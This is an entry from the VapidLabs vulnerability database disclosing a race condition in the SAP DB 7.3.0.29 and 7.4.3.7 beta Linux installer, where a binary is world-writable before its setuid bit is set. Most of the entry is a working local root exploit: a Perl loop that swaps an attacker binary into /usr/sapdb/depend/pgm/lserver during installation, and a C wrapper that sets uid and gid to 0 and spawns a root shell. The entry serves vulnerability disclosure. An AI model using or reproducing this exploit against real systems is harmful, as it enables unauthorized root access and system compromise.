The VapidLabs Vulnerability Database

SAP DB is a Free Enterprise database (http://www.sapdb.org). An exploitable race condition exists during installation that can be won to yield root to a local malicous user. An executable is world writeable before a setuid bit is set by the installation program. This condition exists for both the production version 7.3.0.29 and the beta version 7.4.3.7 beta (www.sapdb.org/tgz_linux.htm).

#!/bin/perl

while (1) {

$test =`grep -sh PRECOM.ins /tmp/sapdb-server-linux-32bit-i386-7_3_0_29/y/config/install/LIST*`;

if ( $test =~ /PRECOM/ ) {
       system("cp /home/lwc/run /usr/sapdb/depend/pgm/lserver");
        exit(1);
}
}

/*##Larry W. Cashdollar, lwc@vapid.dhs.org 
##This is just a wrapper to boost our privs from euid(0) to uid(0) guid(0) */

#include <stdio.h>
#include <unistd.h>

int
main (void)
{
char *shell[2];
shell[0] = "sh";
shell[1] = NULL;
if (!setreuid (0, 0))
printf ("We have root, getting sgid perms and spawning shell.\n"); else
{

      printf ("Ack, We lost the race.\n");
      _exit (0);
}
setregid (0, 0);
execve ("/bin/sh", shell, NULL);
return(0);
}

11915